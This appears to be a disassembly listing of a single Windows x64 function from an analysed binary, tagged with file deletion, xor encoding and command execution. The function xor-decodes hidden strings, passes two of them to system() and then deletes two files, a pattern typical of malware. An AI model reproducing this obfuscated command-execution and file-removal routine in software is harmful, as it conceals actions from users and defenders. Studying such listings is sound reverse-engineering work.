Function at 0x140082400
Capabilities:
Delete file
Encode data using xor
Execute command

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0xa0]
sub rsp, 0x1a0
lea rax, [rsp + 0x60]
mov qword [rbp + 0xb0], rax
movdqa xmm0, xmmword [0x1400e6d10]
movdqu xmmword [rsp + 0x20], xmm0
movdqa xmm1, xmmword [0x1400e6c70]
movdqu xmmword [rsp + 0x30], xmm1
mov dword [rsp + 0x40], 0x183e1d17
mov dword [rsp + 0x44], 0x2290d0b
mov dword [rsp + 0x48], 0x71b530f
mov word [rsp + 0x4c], 0xe5
mov byte [rsp + 0x4e], 1
xor ebx, ebx
mov ecx, ebx
nop word [rax + rax]
lea eax, [rcx + 0x54]
xor byte [rsp + rcx + 0x20], al
inc rcx
cmp rcx, 0x2d
jb 0x140082470
mov byte [rsp + 0x4e], bl
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x78], rbx
lea rax, [rsp + 0x20]
mov rdi, 0xffffffffffffffff
mov r8, rdi
inc r8
cmp byte [rax + r8], bl
jne 0x1400824a5
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x60]
call fcn.14005b320
nop
movdqa xmm0, xmmword [str.___cut_4:6]
movdqu xmmword [rsp + 0x20], xmm0
movdqa xmm1, xmmword [0x1400e6ea0]
movdqu xmmword [rsp + 0x30], xmm1
movdqa xmm0, xmmword [0x1400e76b0]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0xf4ffd6f0
mov dword [rsp + 0x54], 0xeef2eca6
mov word [rsp + 0x58], pe_nt_image_headers64
mov rcx, rbx
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x54]
xor byte [rsp + rcx + 0x20], al
inc rcx
cmp rcx, 0x38
jb 0x140082510
mov byte [rsp + 0x59], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], rbx
mov qword [rbp - 0x58], rbx
lea rax, [rsp + 0x20]
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140082540
lea rdx, [rsp + 0x20]
lea rcx, [rbp - 0x70]
call fcn.14005b320
nop
lea r8, [rsp + 0x60]
lea rdx, [rbp - 0x70]
lea rcx, [0x1401d0dc0]
call fcn.14008aa60
test al, al
je 0x140082b26
lea rax, [rbp - 0x38]
mov qword [rbp + 0xb0], rax
movdqa xmm0, xmmword [0x1400e6d10]
movdqu xmmword [rsp + 0x20], xmm0
movdqa xmm1, xmmword [0x1400e6c70]
movdqu xmmword [rsp + 0x30], xmm1
mov dword [rsp + 0x40], 0x183e1d17
mov dword [rsp + 0x44], 0x8540d0b
mov dword [rsp + 0x48], 0x1000e05
mov rcx, rbx
nop dword [rax + rax]
lea eax, [rcx + 0x54]
xor byte [rsp + rcx + 0x20], al
inc rcx
cmp rcx, 0x2a
jb 0x1400825c0
mov byte [rsp + 0x4b], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
mov qword [rbp - 0x28], rbx
mov qword [rbp - 0x20], rbx
lea rax, [rsp + 0x20]
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400825f0
lea rdx, [rsp + 0x20]
lea rcx, [rbp - 0x38]
call fcn.14005b320
nop
movdqa xmm0, xmmword [str.___cut_4:6]
movdqu xmmword [rbp - 0x18], xmm0
movdqa xmm1, xmmword [0x1400e6ea0]
movdqu xmmword [rbp - 8], xmm1
movdqa xmm0, xmmword [0x1400e76b0]
movdqu xmmword [rbp + 8], xmm0
mov dword [rbp + 0x18], 0xfef5abf0
mov word [rbp + 0x1c], 0xfb
mov byte [rbp + 0x1e], 1
mov rcx, rbx
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx + 0x54]
xor byte [rbp + rcx - 0x18], al
inc rcx
cmp rcx, 0x35
jb 0x140082650
mov byte [rbp + 0x1e], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
mov qword [rbp + 0x90], rbx
mov qword [rbp + 0x98], rbx
lea rax, [rbp - 0x18]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x140082683
lea rdx, [rbp - 0x18]
lea rcx, [rbp + 0x80]
call fcn.14005b320
nop
lea r8, [rbp - 0x38]
lea rdx, [rbp + 0x80]
lea rcx, [0x1401d0dc0]
call fcn.14008aa60
test al, al
je 0x140082b26
lea rax, [rbp - 0x18]
mov qword [rbp + 0xb0], rax
movdqa xmm0, xmmword [0x1400e6d10]
movdqu xmmword [rsp + 0x60], xmm0
movdqa xmm1, xmmword [str._tVT__fe]
movdqu xmmword [rsp + 0x70], xmm1
mov dword [rbp - 0x80], 0xf02071b
mov dword [rbp - 0x7c], 0x1e544f40
mov dword [rbp - 0x78], 0x1001804
mov rcx, rbx
nop dword [rax]
lea eax, [rcx + 0x54]
xor byte [rsp + rcx + 0x60], al
inc rcx
cmp rcx, 0x2a
jb 0x140082700
mov byte [rbp - 0x75], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
mov qword [rbp - 8], rbx
mov qword [rbp], rbx
lea rax, [rsp + 0x60]
mov r8, rdi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140082730
lea rdx, [rsp + 0x60]
lea rcx, [rbp - 0x18]
call fcn.14005b320
nop
movdqa xmm0, xmmword [str.___cut_4:6]
movdqu xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [0x1400e6ea0]
movdqu xmmword [rbp - 0x60], xmm1
movdqa xmm0, xmmword [0x1400e75c0]
movdqu xmmword [rbp - 0x50], xmm0
mov dword [rbp - 0x40], 0xffe3abb2
mov word [rbp - 0x3c], 0xed
mov byte [rbp - 0x3a], 1
mov rcx, rbx
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx + 0x54]
xor byte [rbp + rcx - 0x70], al
inc rcx
cmp rcx, 0x35
jb 0x140082790
mov byte [rbp - 0x3a], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], rbx
lea rax, [rbp - 0x70]
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400827c0
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x20]
call fcn.14005b320
nop
lea r8, [rbp - 0x18]
lea rdx, [rsp + 0x20]
lea rcx, [0x1401d0dc0]
call fcn.14008aa60
test al, al
je 0x140082b26
movdqa xmm0, xmmword [0x1400e6ed0]
movdqu xmmword [rbp + 0x20], xmm0
movdqa xmm1, xmmword [0x1400e6e90]
movdqu xmmword [rbp + 0x30], xmm1
movdqa xmm0, xmmword [0x1400e75d0]
movdqu xmmword [rbp + 0x40], xmm0
movdqa xmm1, xmmword [0x1400e7710]
movdqu xmmword [rbp + 0x50], xmm1
movdqa xmm0, xmmword [0x1400e75e0]
movdqu xmmword [rbp + 0x60], xmm0
mov dword [rbp + 0x70], 0xd4c9edcc
mov dword [rbp + 0x74], 0xd2d987dc
mov dword [rbp + 0x78], 0x1008fdf
mov rcx, rbx
nop
lea eax, [rcx + 0x54]
xor byte [rbp + rcx + 0x20], al
inc rcx
cmp rcx, 0x5a
jb 0x140082850
mov byte [rbp + 0x7b], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
lea rax, [rbp + 0x20]
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140082880
lea rdx, [rbp + 0x20]
lea rcx, [rsp + 0x60]
call fcn.14005b320
nop
lea rcx, [rsp + 0x60]
cmp qword [rsp + 0x78], 0xf
cmova rcx, qword [rsp + 0x60]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
test eax, eax
je 0x1400828bb
xor bl, bl
jmp 0x140082ae1
movdqa xmm0, xmmword [0x1400e6e20]
movdqu xmmword [rsp + 0x20], xmm0
movdqa xmm1, xmmword [0x1400e6c80]
movdqu xmmword [rsp + 0x30], xmm1
movdqa xmm0, xmmword [0x1400e75b0]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0xe2fee0aa
mov word [rsp + 0x54], 0xaa
mov byte [rsp + 0x56], 1
mov rcx, rbx
nop dword [rax]
lea eax, [rcx + 0x54]
xor byte [rsp + rcx + 0x20], al
inc rcx
cmp rcx, 0x35
jb 0x140082900
mov byte [rsp + 0x56], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x60], xmm1
lea rax, [rsp + 0x20]
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140082930
lea rdx, [rsp + 0x20]
lea rcx, [rbp - 0x70]
call fcn.14005b320
nop
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], 0xf
cmova rcx, qword [rbp - 0x70]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
test eax, eax
je 0x140082968
xor bl, bl
jmp 0x140082a92
mov byte [0x1401ccb51], 1
movdqa xmm0, xmmword [0x1400e6d50]
movdqu xmmword [rbp - 0x38], xmm0
mov word [rbp - 0x28], 0x4a
mov byte [rbp - 0x26], 1
mov rcx, rbx
nop dword [rax]
lea eax, [rcx + 0x54]
xor byte [rbp + rcx - 0x38], al
inc rcx
cmp rcx, 0x11
jb 0x140082990
mov byte [rbp - 0x26], 0
lea rax, [rbp - 0x38]
nop dword [rax + rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x1400829b0
mov r8, rdi
lea rdx, [rbp - 0x38]
lea rcx, [0x1401d0d98]
call fcn.140058960
movdqa xmm0, xmmword [0x1400e6d10]
movdqu xmmword [rsp + 0x20], xmm0
movdqa xmm1, xmmword [0x1400e6c70]
movdqu xmmword [rsp + 0x30], xmm1
mov dword [rsp + 0x40], 0x183e1d17
mov dword [rsp + 0x44], 0x2290d0b
mov dword [rsp + 0x48], 0x71b530f
mov word [rsp + 0x4c], 0xe5
mov byte [rsp + 0x4e], 1
mov rcx, rbx
nop
lea eax, [rcx + 0x54]
xor byte [rsp + rcx + 0x20], al
inc rcx
cmp rcx, 0x2d
jb 0x140082a10
mov byte [rsp + 0x4e], 0
lea rcx, [rsp + 0x20]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
movdqa xmm0, xmmword [0x1400e6d10]
movdqu xmmword [rsp + 0x20], xmm0
movdqa xmm1, xmmword [0x1400e6c70]
movdqu xmmword [rsp + 0x30], xmm1
mov dword [rsp + 0x40], 0x183e1d17
mov dword [rsp + 0x44], 0x8540d0b
mov dword [rsp + 0x48], 0x1000e05
nop dword [rax]
nop dword [rax + rax]
lea eax, [rbx + 0x54]
xor byte [rsp + rbx + 0x20], al
inc rbx
cmp rbx, 0x2a
jb 0x140082a70
mov byte [rsp + 0x4b], 0
lea rcx, [rsp + 0x20]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov bl, 1
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x140082ad0
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140082acb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140082acb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140099b9c
movdqa xmm0, xmmword [0x1400e6a80]
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x70], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140082b21
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140082b1c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140082b1c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140099b9c
movzx eax, bl
jmp 0x140082b28
xor al, al
lea r11, [rsp + 0x1a0]
mov rbx, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret